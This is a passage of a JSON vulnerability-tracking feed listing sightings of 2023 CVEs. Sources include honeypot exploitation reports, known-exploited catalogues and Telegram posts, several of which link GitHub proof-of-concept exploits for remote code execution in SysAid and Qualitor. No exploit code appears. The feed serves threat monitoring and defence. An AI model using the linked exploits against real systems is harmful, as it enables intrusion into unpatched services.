"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-14)", "content": "", "creation_timestamp": "2026-01-14T00:00:00.000000Z"}, {"uuid": "cf21b301-a6ef-4bc6-9e35-088924e806cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2023-47218", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d29dbde5-754c-4ca2-8a8b-47f3b9e077f7", "content": "", "creation_timestamp": "2024-09-24T12:13:05.859516Z"}, {"uuid": "c30d315a-de7e-4038-84a5-d7bdcd7feccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-15)", "content": "", "creation_timestamp": "2026-01-15T00:00:00.000000Z"}, {"uuid": "3626b041-2876-434c-8bb1-ff6895ffdd1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47537", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_8/2024", "content": "", "creation_timestamp": "2024-02-09T10:14:28.000000Z"}, {"uuid": "5ceec7c9-24a7-43d4-bc49-81133e483380", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2023-47534", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1246", "content": "", "creation_timestamp": "2024-03-13T04:00:00.000000Z"}, {"uuid": "3c5db2ad-a533-47f7-8318-f4de6ef7f847", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-17)", "content": "", "creation_timestamp": "2026-01-17T00:00:00.000000Z"}, {"uuid": "b22d8929-7dd1-4497-80df-5e93b6c9fba6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-18)", "content": "", "creation_timestamp": "2026-01-18T00:00:00.000000Z"}, {"uuid": "dbdb9211-1ec2-4e33-8e67-6f1c7f2da7b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47641", "type": "seen", "source": "https://gist.github.com/konard/0d69c914be52c3cee3437d4858b1c259", "content": "", "creation_timestamp": "2026-01-19T23:20:05.000000Z"}, {"uuid": "029c19e5-7420-47ee-b727-15bc4536c6cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47627", "type": "seen", "source": "https://gist.github.com/konard/0d69c914be52c3cee3437d4858b1c259", "content": "", "creation_timestamp": "2026-01-19T23:20:05.000000Z"}, {"uuid": "c3b71a6b-4d7b-4a2b-8405-ddbe5500775b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mhyiuuzklw22", "content": "", "creation_timestamp": "2026-03-26T21:03:02.819848Z"}, {"uuid": "a2906182-e8cd-434b-ad6d-1bf3e86bc024", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-20)", "content": "", "creation_timestamp": "2026-01-20T00:00:00.000000Z"}, {"uuid": "19899a20-7777-4904-9af0-282c9a726718", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-47565", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/b0b58b85-825f-4237-bab0-4f4f9bce7786", "content": "", "creation_timestamp": "2026-02-02T12:26:44.283862Z"}, {"uuid": "94e14360-24b9-47a5-a599-f75b8df72881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d39c441e-d3f7-4afe-9612-a2ec5cef042c", "content": "", "creation_timestamp": "2026-02-02T12:26:46.775422Z"}, {"uuid": "1078d9fa-6f0b-477a-a4f0-4f26cd4ecd85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e0362177-1c36-4d39-8178-ed0ada24c46a", "content": "", "creation_timestamp": "2026-02-02T12:26:41.725870Z"}, {"uuid": "f4a8e2e2-f062-4442-8cee-4d3c8ef23ecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47248", "type": "published-proof-of-concept", "source": "Telegram/oG1Du1yVW5DwftsfJVNiNqdhNi2Tf44_2y7wvgsgG58u-YE", "content": "", "creation_timestamp": "2025-12-27T21:00:05.000000Z"}, {"uuid": "1b478c77-eac6-4161-a75f-432cbd0b69f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/ap_security/226", "content": "\u2604\ufe0fCVE-2023-47246: PoC\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f SysAid \n\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \n\u043a\u043e\u0434\u0430\ud83d\ude04\n\n\ud83d\udce3\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP/tree/main\n\n#cve #poc #exploit", "creation_timestamp": "2023-11-18T15:05:23.000000Z"}, {"uuid": "5f3d6894-9a2e-4ca4-8eff-39d6e26f4a20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/cKure/11988", "content": "\u25a0\u25a0\u25a0\u25a1\u25a1 Exploit for cve-2023-47246 SysAid RCE (shell upload).\n\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP", "creation_timestamp": "2023-11-18T01:47:01.000000Z"}, {"uuid": "02291365-073e-4246-819c-1961ad4d7aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47634", "type": "seen", "source": "Telegram/6isYHg3MNxTnC3IUwwb4ajMv3XjbiqRKA1su90NFdB0i45BV", "content": "", "creation_timestamp": "2025-02-14T21:09:17.000000Z"}, {"uuid": "cb437d26-1aeb-4367-aac7-40798c39bf2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47160", "type": "seen", "source": "https://t.me/cvedetector/18460", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47160 - IBM Cognos Controller XXE Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2023-47160 \nPublished : Feb. 19, 2025, 5:15 p.m. | 1\u00a0hour, 23\u00a0minutes ago \nDescription : IBM Cognos Controller 11.0.0 through 11.0.1 FP3 and IBM Controller 11.1.0   \n  \n  \n  \n  \n  \nis vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this vulnerability to expose sensitive information or consume memory resources. \nSeverity: 8.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-19T20:25:04.000000Z"}, {"uuid": "8308b773-65a6-4eb2-b3cc-d96aa2bc9294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47218", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15423", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47218\n\ud83d\udd25 CVSS Score: 5.8 (cvssV3_1, Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.5.2645 build 20240116 and later\nQuTS hero h5.1.5.2647 build 20240118 and later\nQuTScloud c5.1.5.2651 and later\n\ud83d\udccf Published: 2024-02-13T02:44:14.677Z\n\ud83d\udccf Modified: 2025-05-07T21:13:18.700Z\n\ud83d\udd17 References:\n1. https://www.qnap.com/en/security-advisory/qsa-23-57\n2. https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed/", "creation_timestamp": "2025-05-07T21:22:35.000000Z"}, {"uuid": "57b0c5b6-882b-45b1-a4ec-0dc6303a1e9a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47119", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5776", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aA POC for CVE-2023-47119\nURL\uff1ahttps://github.com/BaadMaro/CVE-2023-47119\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-11-12T23:37:20.000000Z"}, {"uuid": "d6f610c8-4900-4e30-ab0d-490cc92609ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8556", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2023-47253 | Qualitor <= 8.20 RCE\nURL\uff1ahttps://github.com/OpenXP-Research/CVE-2023-47253\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-09-19T14:12:10.000000Z"}, {"uuid": "c4659141-da56-47dc-91a8-f57c445458d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8555", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aCVE-2023-47253 | Qualitor <= 8.20 RCE\nURL\uff1ahttps://github.com/vnxdtzip/CVE-2023-47253\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-09-19T14:01:44.000000Z"}, {"uuid": "99e9bb2e-89ad-4e25-824d-ab9566447086", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5905", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aexploit for cve-2023-47246 SysAid RCE (shell upload)\nURL\uff1ahttps://github.com/rainbowhatrkn/CVE-2023-47246\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2023-11-22T08:20:22.000000Z"}, {"uuid": "029b815e-0503-4e1f-bad8-03f6d7b6d05a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/6101", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aexploit for cve-2023-47246 SysAid RCE (shell upload)\nURL\uff1ahttps://github.com/W01fh4cker/CVE-2023-47246-EXP\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2023-12-07T02:58:31.000000Z"}, {"uuid": "c5cba2b7-e64a-4723-b237-0309173c057c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47882", "type": "seen", "source": "https://t.me/GithubRedTeam/6845", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2023-47882 | CVE-2024-23727\nURL\uff1ahttps://github.com/actuator/yi\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-03-24T16:27:48.000000Z"}, {"uuid": "b3323303-f4f4-4573-89bb-f269f3f1ec65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4762", "type": "exploited", "source": "https://t.me/itsec_news/3741", "content": "\u200b\u26a1\ufe0f\u042d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 Google Chrome \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0448\u0435\u0441\u0442\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 2023 \u0433\u043e\u0434\u0443\n\n\ud83d\udcac Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f Chrome, \u0447\u0442\u043e\u0431\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2023-6345, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u044b\u0439 \u0431\u0430\u0433 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 Skia, \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 2D \u0433\u0440\u0430\u0444\u0438\u043a\u0438. \u0415\u0451 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0411\u0435\u043d\u0443\u0430 \u0421\u0435\u0432\u0435\u043d\u0441 \u0438 \u041a\u043b\u0435\u043c\u0430\u043d \u041b\u0435\u0441\u0438\u043d\u044c \u0438\u0437 \u0413\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 Google (TAG) 24 \u043d\u043e\u044f\u0431\u0440\u044f 2023 \u0433\u043e\u0434\u0430.\n\nGoogle \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b, \u0447\u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f CVE-2023-6345, \u043d\u043e \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u043b\u0438 \u0443\u0433\u0440\u043e\u0437\u0430\u0445, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0432 \u0430\u043f\u0440\u0435\u043b\u0435 2023 \u0433\u043e\u0434\u0430 Google \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u043b \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432 Skia (CVE-2023-2136), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c. \u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e CVE-2023-6345 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u044d\u0442\u043e\u0442 \u043f\u0430\u0442\u0447.\n\nCVE-2023-2136 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443, \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0432\u0448\u0435\u043c\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u043f\u043e\u0431\u0435\u0433 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 Chrome, \u0432\u043a\u043b\u044e\u0447\u0430\u044f:\n\nCVE-2023-2033 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8,\nCVE-2023-2136 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.6) - \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 Skia,\nCVE-2023-3079 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8,\nCVE-2023-4762 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0430 \u0442\u0438\u043f\u043e\u0432 \u0432 V8,\nCVE-2023-4863 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 WebP,\nCVE-2023-5217 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 vp8 \u0432 libvpx.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 Chrome 119.0.6045.199/.200 \u0434\u043b\u044f Windows \u0438 119.0.6045.199 \u0434\u043b\u044f macOS \u0438 Linux, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b. \u0422\u0430\u043a\u0436\u0435 \u0441\u043e\u0432\u0435\u0442\u0443\u044e\u0442 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432 \u043d\u0430 \u0431\u0430\u0437\u0435 Chromium, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a Microsoft Edge, Brave, Opera \u0438 Vivaldi, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u043d\u0443\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-11-30T11:12:53.000000Z"}, {"uuid": "6e1cde17-3d84-41c3-bb34-4b7c216ca357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47207", "type": "seen", "source": "https://t.me/itsec_news/3820", "content": "\u200b\u26a1\ufe0f\u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Delta Electronics \u043a\u0430\u043a \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u0442\u0430-\u0446\u0435\u043d\u0442\u0440\u043e\u043c\n\n\ud83d\udcac \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 \u0434\u043b\u044f \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0439 (OT) \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Delta Electronics \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0445\u0430\u043a\u0435\u0440\u0430\u043c \u0441\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 Delta \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c InfraSuite Device Master \u0432\u0435\u0440\u0441\u0438\u0438 1.0.7 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0435. \u041e \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u0432 \u043a\u043e\u043d\u0446\u0435 \u043d\u043e\u044f\u0431\u0440\u044f, \u043a\u043e\u0433\u0434\u0430 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e CISA \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u0430 Zero Day Initiative (ZDI) \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 